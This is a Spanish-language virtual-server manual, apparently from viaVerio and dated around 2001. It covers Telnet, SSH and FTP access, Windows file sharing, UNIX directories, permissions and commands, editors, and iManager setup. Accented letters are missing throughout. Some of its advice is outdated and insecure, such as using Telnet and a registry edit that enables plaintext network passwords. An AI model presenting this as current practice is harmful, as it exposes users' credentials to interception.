viaVerio permite a los administradores conectarse con sus Servidores Virtuales utilizando Telnet, SSH, FTP o Comparticin de Archivos bajo Windows. Estos utilitarios hacen posible la administracin del Servidor Virtual desde una ubicacin remota. Esta seccin incluye instrucciones paso a paso sobre cmo configurar y usar Telnet, SSH, FTP y Comparticin de Archivos bajo Windows. Cada programa suele requerir el mismo tipo de informacin para habilitar la conexin al Servidor. Los siguientes trminos y definiciones son de utilidad en este caso: Trmino Nombre de dominio Nombre de host Definicin Su nombre de dominio o nombre temporario de dominio Es igual que el nombre de dominio. Cuando se pide ingresar el nombre de host, se puede usar el nombre de dominio o la direccin IP. Es el nombre de usuario predeterminado que figura en las instrucciones de configuracin. Es igual que el nombre de login. Es la direccin IP asignada al Servidor Virtual. El nmero de puerto vara segn el programa utilizado para conectarse con el Servidor Virtual.

Usuario Nombre de usuario Direccin IP Puerto

Rara vez se requerir ingresar informacin sobre nmeros de puerto. Sin embargo, el Servidor Virtual usa los puertos estndares, as que en la mayora de los casos bastar con utilizar el puerto predeterminado. Los puertos usados en el Servidor Virtual son: Servicio FTP SSH SMTP HTTP POP IMAP HTTPS Nmero de puerto estndar 21 22 25 80 110 143 443

Telnet & SSH


Telnet es un programa (o grupo de programas) comnmente usado para controlar los servidores UNIX en forma remota. Telnet conecta su computadora personal con un servidor en la red. Cuando se ingresan los comandos, Telnet los ejecuta como si se ingresaran directamente en el servidor. Telnet le permite controlar su Servidor Virtual desde su casa u oficina. Nota: Cuando se usa Telnet, se est en un entorno UNIX, por lo cual se recomienda tener conocimientos de los comandos UNIX.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

36

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Conexin al Servidor Virtual con SSH (Secure Shell)


SSH (Secure Shell) es un programa Telnet seguro que se usa para conectarse a una computadora remota (el Servidor Virtual). SSH posibilita comunicaciones encriptadas seguras entre el Servidor Virtual y la computadora local. La conexin del Servidor Virtual utilizando un cliente SSH es sencilla con SecureCRT o F-Secure SSH (http://www.datafellows.com). Ambos usan el puerto 22 en el Servidor Virtual. Nota: Telnet no encripta los datos enviados entre la computadora local y el Servidor Virtual. Sin embargo, todos los comandos usados con un cliente Telnet tambin pueden usarse con un cliente SSH.

Conexin al Servidor Virtual con SecureCRT


Hay muchos programas disponibles para PC y Mac. Para PC, el estndar es CRT. Por razones de seguridad, recomendamos SecureCRT, desarrollado por Van Dyke & Associates. Si desea ms informacin acerca de CRT y otros programas de Van Dyke, consulte http://www.vandyke.com/products/securecrt/. El personal de soporte de viaVerio utiliza SecureCRT (http://www.vandyke.com/products/securecrt/) como estndar, porque tiene ms opciones y emulaciones de terminal que el programa Telnet estndar que viene con Windows. Configuracin de una sesin 1. Desde la ventana de dilogo Quick Connect, ingrese el nombre de dominio o direccin IP del Servidor Virtual y cliquee Conectar.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

37

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

2.

Ingrese su nombre de usuario y clave en la lnea de comando login: y Password:.

3.

Despus de ingresar su nombre de usuario y clave, ver el prompt de lnea de comando UNIX:

FTP
Use el FTP (File Transfer Protocol) para transferir archivos entre el Servidor Virtual y la computadora local. Para conectarse con el servidor FTP de su Servidor Virtual, necesitar un programa FTP instalado en su computadora local. Existen muchos programas FTP. El sistema operativo Windows viene con un programa FTP en DOS lnea de comandos. Sin embargo, como cliente FTP fcil de usar, recomendamos WS_FTP o CuteFTP. Ejecucin del Programa FTP va DOS 1. 2. 3. Desde la barra de herramientas de Windows, cliquee en Inicio Cliquee en Ejecutar. Ingrese ftp su_empresa.com (donde su_empresa.com es reemplazado por su nombre de dominio).

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

38

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Ejemplo de FTP de la lnea de comandos 1. 2. 3. Desde la barra de herramientas de Windows, cliquee en Inicio Cliquee en Ejecutar. Escriba lo siguiente :

ftp su_empresa.com cd /www/htdocs ascii lcd c:\upload put index.html bin put logo.gif quit

Comandos FTP de consola


Los siguientes trminos son tiles para entender el ejemplo anterior de FTP de lnea de comandos: Comandos ascii binary bye o quit cd directorio-remoto Descripcin Establece el tipo de transferencia a usar para archivo en ASCII. Establecer el tipo de transferencia a usar para archivos binarios. Terminar la sesin FTP remota y salir de programa FTP. Cambiar el directorio de trabajo en el servidor de forma remota a: directorioremoto. Eliminar el archivo-remoto en el servidor de forma remota. Lista el contenido del directorio del directorio-remoto. Si no se especifica un directorio remoto, lista el directorio de trabajo actual del servidor. Recuperar el archivo remoto y almacenarlo en la computadora local. Si no se especifica el nombre del archivo local, se le asignar el mismo nombre que tiene en el servidor remoto. Muestra un mensaje informativo acerca del significado del comando. Si no se especifica un argumento, FTP muestra una lista de los comandos conocidos. Cambia el directorio de trabajo en la computadora local. Si no se especifica un directorio, se muestra el directorio de trabajo local actual del usuario. Eliminar los archivos remotos de la computadora remota. Recuperar mltiples archivos remotos y

delete archivo-remoto

dir o ls dir-remoto

get archivo-remoto archivolocal

help comando

lcd directorio-local

mdelete archivos-remotos mget archivos-remotos

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

39

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Comandos mkdir directorio-remoto mput archivos-locales

prompt

put archivo-local archivoremoto rename from to rmdir nombre-del-directorio

Descripcin almacenarlos en la computadora local. Crear un directorio en la computadora remota. Almacenar mltiples archivos locales en la computadora remota. Activar o desactivar prompts interactivos. Los prompts interactivos se producen durante mltiples transferencias de archivos para permitir al usuario recuperar o almacenar archivos selectivamente. Si se desactivan los prompts (queda activado el predeterminado) cualquier comando mget o mput transfiri todos los archivos y cualquier comando mdelete elimin todos los archivos. Almacenar un archivo local en la computadora remota. Si no se especifica el archivo remoto, se usa el nombre del archivo local. Cambiar el nombre del archivo en la computadora remota por el del archivo en la computadora local. Eliminar un directorio de la computadora remota.

Conexin al Servidor Virtual con WS_FTP


Estas instrucciones lo ayudarn a usar WS_FTP, un cliente FTP fcil de usar (http://www.ipswitch.com/products/ws_ftp/).

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

40

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Uso de WS_FTP 1. En la pantalla principal de WS_FTP, cliquee en Conectar.

2. 3. 4. 5.

En Profile Name, ingrese el nombre de su empresa o nombre de dominio. En Host Name/Address, ingrese su nombre de dominio (o nombre de dominio temporario si todava no est registrado) o su direccion IP. En User ID, ingrese su nombre de usuario. En Password, ingrese la clave.

Navegacin del Servidor Virtual con WS_FTP


Una vez que se estableci una conexin entre su computadora y el Servidor Virtual, aparecen dos columnas en la pantalla. La columna de la izquierda muestra los directorios y archivos de la computadora local. La columna de la derecha muestra los directorios y archivos del Servidor Virtual. El directorio donde se guarda usr/local/etc/httpd/htdocs. el contenido web es www/htdocs o

Transferencia de archivos desde la computadora local al Servidor Virtual 1. 2. Seleccione los archivos o directorios que desee en su computadora local (a la izquierda). Para agregarlos al Servidor Virtual (a la derecha), presione el botn de la flecha.

Nota: Transfiera todos los documentos HTML y los CGI scripts en modalidad ASCII. Transfiera los grficos en formato binario. Las versines ms recientes de WS_FTP brindan un botn Auto, que permite a WS_FTP determinar automticamente en qu modalidad han de transferirse los archivos. El botn Auto no siempre funciona, de modo que si tiene problemas, fije la modalidad manualmente.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

41

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Comparticin de Archivos bajo Windows


La Comparticin de Archivos bajo Windows le permite asignar una letra como si fuera un disco de su computadora local al Servidor Virtual. Si comparte su Servidor Virtual como un disco, puede copiar y pegar archivos desde y hasta su Servidor Virtual con solo agarrar y soltar. Para usar esta modalidad, asegrese de que estn instalados el cliente para Microsoft Networks y el protocolo TCP/IP. Nota: La comparticin de archivos depende del Proveedor de Servicios de Internet y del proveedor de alojamiento web. Configuracin 1. 2. Dentro de redes en Inicio de sesin principal configure Cliente para redes Microsoft. Desde el panel de Propiedades de TCP/IP, bajo Configuracin DNS, ingrese el nombre de dominio de su Servidor Virtual en Orden de bsqueda del sufijo de dominio ( se supone que est Activado el DNS ) Cuando se presente la pantalla de validacin para el ingreso a la red, ingrese el nombre de usuario y la clave de su Servidor Virtual Desde la barra de tareas de Windows, cliquee en Inicio. Cliquee en Buscar/PC En la ventana de dilogo Buscar PC, en el campo Nombre, ingrese www Cliquee en Buscar Haga doble clic en el icono de la computadora nombrado www. Esta accin muestra una nica carpeta, que es su directorio raz en el Servidor Virtual. Presione el botn derecho del mouse en la carpeta y elija Conectar a unidad de red.

3. 4. 5. 6. 7. 8. 9.

Nota: Con las versiones ms recientes de Windows, Windows98 y WindowsNT, es posible que haya que dar pasos adicionales si hay problemas en la conexin. Resolucin rpida de problemas de con el Editor de Registros 1. 2. 3. 4. 5. 6. 7. 8. 9. Desde la barra de tareas de Windows o Windows98, cliquee en Inicio Cliquee en Ejecutar Ingrese Regedit y presione Aceptar. Esta accin muestra el Editor de Registros. Seleccione HKEY_LOCAL_MACHINE. Seleccione System Seleccione CurrentControlSet Seleccione Services. Seleccione VxD. Seleccione VNETSUP. Desde VNETSUP, se muestra una serie de nombres/pares de datos.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

42

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Creacin de un nuevo nombre / par de datos en el Editor de Registros 1. 2. 3. 4. Desde el men Editar, seleccione Nuevo Seleccione Valor DWORD Agregue una nueva entrada a EnablePlainTextPassword Cambie el nombre del valor predeterminado de Windows98 de Nuevo Valor #1 a EnablePlainTextPassword. Presione Enter. Ejemplo:

EnablePlainTextPassword 0x00000000 (0)


5. 6. Para editar la nueva clave, haga doble clic en EnablePlainTextPassword. Cambie el valor a "1". Seleccione la opcin hexadecimal.

Herramientas de administracin GUI


En este punto, tal vez usted est pensando esto es demasiado complicado. Los desarrolladores de viaVerio crearon una herramienta de interfaz grfica de usuario GUI (Graphical User Interface) que realiza las tareas de administracin del Servidor Virtual ms comunes con simples utilitarios. La siguiente herramienta se explica en el Captulo 2: iManager Herramienta de administracin del Servidor Virtual va web.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

43

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Estructura de directorios del Servidor Virtual


Ahora que ya puede conectarse con su Servidor Virtual, necesita comprender qu es lo que est viendo. Como el Servidor Virtual es esencialmente su propia mquina con el sistema UNIX, es sumamente til comprender el sistema de archivos y los comandos UNIX. Esta seccin es un curso intensivo en el sistema de archivos UNIX y en la estructura de directorios y archivos del Servidor Virtual.

El sistema de archivos UNIX


Ejemplo de ruta UNIX:

/usr/home/nombre_de_usuario
En esta ruta, la primera barra (/) es el directorio de nivel superior llamado raz. El directorio usr es un subdirectorio del directorio raz, home es un subdirectorio de usr y nombre_de_usuario es un subdirectorio de home. Si su nombre de usuario fuera bob, aparecera bob en lugar de nombre_de_usuario. Cada "/" despus del directorio raz es slo un separador. Para cambiar de directorio se usa el comando cd (cambiar directorio). Se puede usar cd para cambiar a un directorio escribiendo toda la ruta, desde la raz, como en el ejemplo anterior, o se puede especificar una ruta relativa:

% cd tmp
Este comando usa una ruta relativa para cambiar a un subdirectorio del directorio actual. El comando cd resulta fcil de dominar con un poco de prctica. El cuadro muestra lo que sucede cuando se escribe cd solamente o con varios argumentos. Intente algunos de estos ejemplos de cd y luego escriba pwd (Print Working Directory) para saber en qu directorio est.

UNIX: Comandos bsicos


Los siguientes comandos bsicos lo ayudan a navegar por el sistema de archivos UNIX. Comando ls Ejemplo ls ls l ls al ls /usr/home pwd cd pwd cd cd /usr/home cd bob cd .. Funcin Listar archivos en el directorio actual Listar archivos en el directorio actual en una lista larga Listar todos los archivos incluyendo los que comienzan con "." Listar archivos del directorio /usr/home Ver o verificar el directorio de trabajo actual Cambiar al directorio raz asignado Cambiar al directorio /usr/home Cambiar al directorio bob Cambiar a un directorio hacia arriba (.. representa directorio anterior)

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

44

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Comando

Ejemplo cd ../logs mkdir tmp rmdir tmp rm test rm -f test rm -rf tmp

Funcin Cambiar un directorio anterior e ir al directorio logs Crear el directorio tmp bajo el directorio actual Eliminar el directorio tmp Eliminar el archivo test Eliminar el archivo test sin preguntar Eliminar el directorio tmp y todos los subdirectorios y archivos en tmp sin preguntar (tener cuidado con esto) Copiar el archivo test a test.new

mkdir rmdir rm

cp

cp test test.new

Lista de los smbolos de los archivos de sistema y su definicin. Smbolo Definicin Directorio actual Directorio anterior Cuando se usa solo o al principio de una ruta representa el directorio raz. Cuando se usa dentro de una ruta es un separador. Alias para la ruta al directorio raz del usuario /usr/home/nombre_de_usuario

.
.. / ~

Nota: Si se conect con el nombre de usuario Bob y su directorio raz es /usr/home/bob, entonces cd ~/etc cambiara por /usr/home/bob/etc.

Directorios y archivos
Cada Servidor Virtual nuevo contiene los siguientes directorios y archivos en forma predeterminada. El tilde ("~") representa la ruta /usr/home/nombre_de_usuario (la ruta completa al directorio raz del Servidor Virtual). La ruta /usr/home/nombre_de_usuario se visualiza slo cuando se est conectado al Servidor Virtual a travs de Telnet o SSH. Si se est conectado a travs de FTP o HTTPD, el directorio raz cambia por /usr/home/nombre_de_usuario y se convierte en "/".

% ls -l total 7
drwxr-xr-x drwxr-xr-x drwxr-xr-x drwxr-xr-x drwx--x--x drwxr-xr-x 2 2 3 3 3 9 bob bob bob bob bob bob bob vuser vuser vuser vuser vuser vuser vuser vuser 512 512 512 512 512 512 512 19 Abr 11 17:48 Feb Ene 5 19:52 7 13:53 Jun 28 15:38 Jun 19 16:35 Ene 17 12:42 Jun 19 16:35 Abr 1 10:31 bin dev etc ftp tmp usr var www ->

drwx--x--x 10

lrwxr-xr-x 1 root usr/local/etc/httpd

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

45

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Descripcin de los directorios


Directorio ~/bin ~/dev Descripcin Contiene archivos de programa del servidor como ftp y sendmail Contiene el dispositivo de salida nulo Contiene archivos de configuracin del servidor como passwd, resolv.conf, aliases y sendmail.cf Directorio FTP annimo Archivos temporarios Directorio que contiene los siguientes subdirectorios: Directorios raz de los usuarios Aqu se guardan los mensajes de correo de los usuarios. Cada usuario tiene un archivo de correo con su nombre de usuario de correo electrnico. Contiene el archivo de mensajes (un registro de transacciones de sesiones de correo electrnico, FTP y Telnet) Contiene los mensajes de correo pendientes de entrega. Contiene programas adicionales del servidor Contiene directorios como httpd o frontpage Directorio raz del servidor http virtual que contiene los siguientes subdirectorios: Contiene los archivos html (donde se colocan las pginas web) Directorio CGI y scripts Archivos de configuracin del servidor HTTPD Archivos de registro del servidor HTTPD Archivos de datos dinmicos como archivos de correo y de registro Link con ~/usr/local/etc/httpd para comodidad en el cambio de directorios.

~/etc
~/ftp ~/tmp ~/usr ~/usr/home ~/usr/mail

~/usr/log ~/usr/spool/mqueue ~/usr/bin ~/usr/local ~/usr/local/etc/httpd ~/usr/local/etc/httpd/ht docs ~/usr/local/etc/httpd/cg i-bin ~/usr/local/etc/httpd/co nf ~/usr/local/etc/httpd/lo gs ~/var ~/www

Directorios fuera del Servidor Virtual


Adems de los directorios en el Servidor Virtual, es recomendable conocer algunos de los directorios que se encuentran fuera del Servidor Virtual (a los cuales puede acceder cuando se conecta a travs de Telnet o SSH). Directorio /usr/local/contrib Descripcin Contiene archivos de instalacin para programas tiles como Perl, iManager, CGI, etc. Este directorio frecuentemente se actualiza con instrucciones para instalar las aplicaciones publicadas en el sitio web. Esta es una copia completa no comprimida del Servidor Virtual, que se realiza a la noche. Si usted borra un archivo, puede copiar un backup de /backup/home/usuario.

/backup/home/usuario

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

46

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Propiedad y permisos de los archivos Definicin


Esta seccin define en ms detalle el ejemplo de salida del comando ls -l

% ls -l total 7
drwxr-xr-x drwxr-xr-x drwxr-xr-x drwxr-xr-x drwx--x--x drwxr-xr-x 2 2 3 3 3 9 bob bob bob bob bob bob bob vuser vuser vuser vuser vuser vuser vuser vuser 512 512 512 512 512 512 512 19 Abr 11 17:48 Feb Ene 5 19:52 7 13:53 Jun 28 15:38 Jun 19 16:35 Ene 17 12:42 Jun 19 16:35 Abr 1 10:31 bin dev etc ftp tmp usr var www ->

drwx--x--x 10

lrwxr-xr-x 1 root usr/local/etc/httpd

Comenzando por la columna de la izquierda, las definiciones son las siguientes: Columna drwx y rw Cantidad de links Nombre de Propietario Nombre de grupo Tamao Fecha y hora Ruta Definicin Define la modalidad de archivo, es decir, el tipo de archivo y los permisos relacionados Un archivo o directorio puede ser un link a otros archivos Es el nombre de usuario del propietario del archivo o directorio Es el ID del grupo al cual pertenece el archivo Se expresa en bytes Es la fecha de la ltima modificacin Es el nombre del archivo

Modalidad de archivo
La modalidad de archivo es una etiqueta de diez caracteres que identifica el tipo de archivo y los permisos para el propietario o grupo. El primer carcter identifica el tipo de archivo. Carcter d l Descripcin Archivo normal Directorio Link a otro archivo o directorio (el link se muestra en la ltima columna)

Los otros nueve caracteres del se separan en tres grupos de tres caracteres cada uno: permisos para el propietario, para el grupo y otros. La siguiente tabla resume los tres bloques de la modalidad de archivo: Carcter r w x Ninguno Lectura Escritura Ejecucin 4 2 1 Permiso Valor

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

47

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Un archivo llamado test con una modalidad de archivo -rwxr-x--- tiene un valor de 750. El valor numrico se usa cuando se cambia la modalidad con el comando chmod (cambiar modalidad). Por ejemplo:

% chmod 755 test


El nmero cambia la modalidad del archivo test a lectura, escritura, ejecucin para el dueo; lectura y ejecucin para el grupo, y varios. La modalidad de archivo ahora es:

-rwxr-xr-x
Si desea ms informacin, escriba man chmod desde la lnea de comandos UNIX en el Servidor Virtual.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

48

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

UNIX: Comandos bsicos


Durante una sesin Telnet/SSH, puede usar los siguientes comandos para trabajar con el Servidor Virtual. Comando cd cd cd ~/www cd .. chmod chmod 755 test Ejemplo Definicin Cambiar al directorio raz Cambiar a /usr/home/usuario/www Subir un directorio. Cambiar permisos del archivo test para que sea rwxr-xr-x Copiar el archivo test a test.new Buscar la palabra test en los archivos html Matar un proceso (el comando ps o top le mostrar el id de proceso) Listar archivos Configuracin alias para ejecutar ls -al Crear un directorio llamado test Mostrar el listado de directorios de a una pantalla por vez Mostrar el archivo README de a una pantalla por vez Mover el archivo test a test.new Listar todos los procesos aftpd Listar todos los procesos del Servidor Virtual Mostrar el consumo de los lmites de espacio del Servidor Virtual Eliminar el archivo test.new Eliminar el directorio billdir. Tenga cuidado al usar este comando porque no existe el comando deshacer en UNIX. Mostrar el nombre de host, ip, login y servidor host del Servidor Virtual Muestra cunto tiempo estuvo funcionando y cargando informacin el servidor

cp grep kill

cp test test.new grep test *.html kill 2267

ls

ls -al ll

mkdir more

mkdir test ll | more

more README mv ps mv test test.new ps -ax | grep aftpd ps -ax | more

quota
rm

quota rm test.new rm -rf billdir

sinfo uptime

sinfo uptime

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

49

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Comando tail

Ejemplo tail -f message

Definicin Controlar informacin que se agrega a un archivo. Ver los registros a medida que se agregan. Se ejecuta desde el directorio donde existe mensaje (~/usr/log/ or ~/var/log/). Crear un archivo tar (archivo de cintas) llamado abc.tar e incluir el directorio abcdir Extraer todos los archivos abc.tar en su directorio actual Mostrar los procesos y el promedio de carga en el Servidor Virtual Rastrear la ruta a un dominio o nmero de IP. til para resolucin rpida de conexiones lentas. Ver la utilizacin del disco por los directorios Agregar un usuario virtual para correo electrnico y ftp Eliminar un usuario virtual mostrar los usuarios en el servidor Eliminar los archivos de registro en modalidad interactiva. Eliminar los archivos de registro ~/usr/log/messages, ~/www/logs/*_log Pantalla de ayuda para vnukelog Cambiar o crear claves Ejecutar programas en el entorno virtual Probar el archivo test.cgi desde la lnea de comandos

tar

tar -cvf abc.tar abcdir

tar -xvf abc.tar

top traceroute

top /usr/sbin/traceroute nombredominio vdiskuse | more vadduser vrmuser vlistuser vnukelog vnukelog -r

vdiskuse vadduser vrmuser vlistuser vnukelog

vnukelog -h vpasswd virtual vpasswd usuario virtual sendmail -bp virtual ./test.cgi

Edicin de archivos en lnea


Bajar los archivos, editarlos y luego cargarlos no es la forma ms rpida de hacer cambios simples. Un administrador experimentado usa un editor en lnea para introducir cambios en los archivos durante una sesin Telnet o SSH. A continuacin se describen dos editores en lnea.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

50

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Uso de vi para editar


El programa vi es un editor UNIX comn. Al principio, cuesta un poco habituarse a sus comandos pero una vez que se los domina, son una herramienta poderosa. Estos son algunos de los comandos bsicos. Si se queda trabado, intente presionar la tecla ESC hasta poder ingresar :q! para salir. Comando vi nombrearchivo j k l h i a o ESC SHFT g <ctrl>-g :1,10d x dd /test :1 :q :q! :wq :%s/test/foo/g Efecto Abrir un archivo en el editor vi Bajar una lnea Subir una lnea Desplazarse a la derecha Desplazarse a la izquierda Insertar texto en la posicin del cursor - cambia a la modalidad editar; ESC para salir de la modalidad editar. Agregar texto despus del cursor Abrir una lnea en blanco debajo del cursor Salir de la modalidad editar Desplazarse al final del archivo Informar en qu lnea est posicionado el cursor Eliminar lneas 1-10 Eliminar el carcter donde est posicionado el cursor Eliminar la lnea donde est posicionado el cursor Buscar test Desplazarse a la primera lnea. Salir de vi Salir de vi sin guardar los cambios Guardar el archivo y salir de vi Buscar test y reemplazarlo por foo en todo el archivo.

Uso de Pico para editar


Pico es un editor un poco ms directo que vi. Las opciones son desplazar el cursor, y escribir o suprimir texto. Los comandos se listan en la parte inferior de la pantalla. Para editar un archivo, escriba:

% pico -w nombrearchivo
Los comandos del editor Pico se listan en la parte inferior de la pantalla. Puede mover el curso para ingresar y suprimir texto en el archivo que est editando. Nota: La opcin -w evita que se produzca el ajuste automtico de lneas, lo cual puede hacer que algunos archivos no funcionen correctamente. Para mayor seguridad, se recomienda usar la opcin -w.

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

51

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Informacin adicional
Si desea informacin adicional sobre los temas analizados en este captulo, consulte las siguientes pginas en el sitio web de viaVerio.

Informacin de soporte del Servidor Virtual


http://www.viaverio.com/support/

Captulo 1: Servidores Virtuales Introduccin


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

52

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Captulo 2: Administracin del Servidor Virtual con iManager


Muchos usuarios creen que Telnet y FTP son difciles de usar por algunas de las tareas comunes, como agregar usuarios, alias o copiar archivos. El utilitario iManager es una Interfase Grfica de Usuario sencilla que permite mantener el Servidor Virtual desde una interfase web, sin conexin Telnet o FTP. As, el usuario puede realizar muchas tareas en forma fcil y eficiente utilizando el navegador que prefiera. Este captulo trata los siguientes temas: iManager Informacin adicional

Captulo 2: Administracin del Servidor Virtual con iManager


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

53

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

iManager
Con iManager, se puede administrar fcilmente un Servidor Virtual desde cualquier computadora utilizando una conexin de Internet y un navegador (por ejemplo, Netscape, Internet Explorer). iManager le permite realizar las tareas ms comunes de la administracin del Servidor Virtual y no requiere conectarse al servidor por Telnet para cambiar las propiedades de los archivos. iManager ejecuta muchos comandos comunes por usted, as que slo necesita tener conocimientos mnimos de UNIX. Estas tareas incluyen: Administrador de archivos Editar archivos Eliminar archivos Copiar archivos Mover archivos Cambiar los permisos de los archivos Cargar nuevos archivos al servidor Crear directorios

Administrador de correo Verificar mensajes Enviar mensajes Guardar y archivar mensajes

Herramientas y Ayudantes Agregar, quitar y actualizar usuarios de correo electrnico y FTP Agregar, quitar y actualizar Virtmaps Agregar, quitar y actualizar alias de correo electrnico Agregar, quitar y actualizar el archivo de spammers Cambiar claves y directorios raz de los usuarios de correo electrnico y FTP Eliminar usuarios de correo electrnico y FTP

Preferencias Cambiar configuraciones

Cmo comenzar
Instalacin de iManager Para instalar iManager, conctese a su Servidor Virtual con Telnet y SSH y siga estos pasos:

% cd % vinstall imanager2

Captulo 2: Administracin del Servidor Virtual con iManager


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

54

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Configuracin de iManager para mltiples hosts virtuales Cada host virtual puede acceder a iManager a travs de su propio nombre de dominio realizando lo siguiente: 1. Agregar un Nombre de servidor (CNAME) en los archivos de zona para el nombre de dominio del host virtual. Le recomendamos usar imanager como nombre de servidor o CNAME (es decir, imanager.su_empresa.com), pero puede especificar el nombre que desee. Recuerde, si slo se va a ingresar a iManager desde el Servidor Virtual principal, no necesita realizar los pasos que siguen. Agregar el siguiente registro Host Virtual al archivo httpd.conf.

2.

<VirtualHost imanager.su_empresa.com> ServerName imanager.su_empresa.com ServerAdmin webmaster@su_empresa.com DocumentRoot /usr/local/etc/httpd/htdocs/imanager TransferLog /dev/null </VirtualHost>
Donde imanager es el registro CNAME que usted cre en el DNS. No cambie la raz del documento. Nota: Para que todos sus hosts virtuales usen iManager, necesitar hacer estos cambios para cada host virtual en el servidor, excepto el nombre de host principal.

Ejecucin de iManager
El usuario raz del Servidor Virtual puede ejecutar iManager y acceder a los directorios y archivos a los cuales tiene derecho de acceso. Al arrancar, iManager pide que se ingrese el nombre de usuario y la clave. iManager autentica el usuario buscando en el archivo ~/etc/passwd. Si no existe en el archivo de claves, se le denegar el acceso. El acceso se otorgar solamente al directorio raz del usuario. Un subdominio puede conectarse con una cuenta POP o FTP vlida. El subdominio slo podr acceder a su directorio raz y no puede crear cuentas POP o FTP. Inicio de iManager 1. Para iniciar iManager, abra el navegador web y escriba la siguiente URL (donde su_empresa.com es su nombre de dominio):

http://www.su_empresa.com/imanager Para un host virtual, use: http://imanager.su_empresa.com Donde imanager es el registro CNAME especfico que usted cre. 2. Ingrese su id de usuario y clave. Una vez que el usuario es autenticado, aparece la pantalla del utilitario iManager.

Utilizacin del Administrador de Archivos 1. 2. Para navegar en los directorios y archivos, cliquee en Administrador de Archivos. Para elegirlo, cliquee en el nombre del directorio o archivo deseado.

Captulo 2: Administracin del Servidor Virtual con iManager


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

55

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Desplazamiento hacia abajo del directorio de trabajo actual Usted ver una lista de directorios y archivos del directorio de trabajo actual. Para acceder a un directorio identificado por un icono de carpeta, cliquee en el nombre del directorio que desea ver. Para ver un archivo identificado por un icono de hoja de papel, cliquee en el nombre del archivo que desea ver. La lista de entradas muestra lo siguiente: Archivo actual Tipo de archivo Tipo MIME Tamao del archivo Permisos del archivo Fecha de la ltima modificacin

Cada archivo de la lista tiene una serie de acciones: Ver archivo Editar archivo Copiar archivo Renombrar ( o mover) archivo Eliminar archivo Cambiar permisos

Administrador de Archivos Editar y eliminar archivos


iManager le permite editar archivos de texto (tales como archivos HTML) desde adentro de su navegador web. Esto le resultar til cuando tenga que hacer cambios rpidos y no quiera hacerlos a travs de Telnet. Editar archivos Desde la lista de Acciones, cliquee en Editar Archivos para comenzar a editar el archivo. Una vez editado el archivo, deber elegir entre Guardar Archivo Editado, Cancelar y Descartar Modificaciones o Restablecer. Eliminar archivos Una vez que seleccion el archivo o la carpeta que va a eliminar, elija Borrar Archivo en Acciones. Se deber confirmar la eliminacin.

Captulo 2: Administracin del Servidor Virtual con iManager


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

56

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Copiar y mover archivos


iManager puede copiar los archivos de su servidor a un nuevo archivo y/o a una nueva ubicacin, o mover / cambiar el nombre de los archivos. Copiar archivos 1. 2. 3. Seleccione un archivo o directorio Cliquee Copiar Archivo o Copiar Directorio Ingrese la ruta y el nombre de la nueva copia que est creando y cliquee en Aceptar

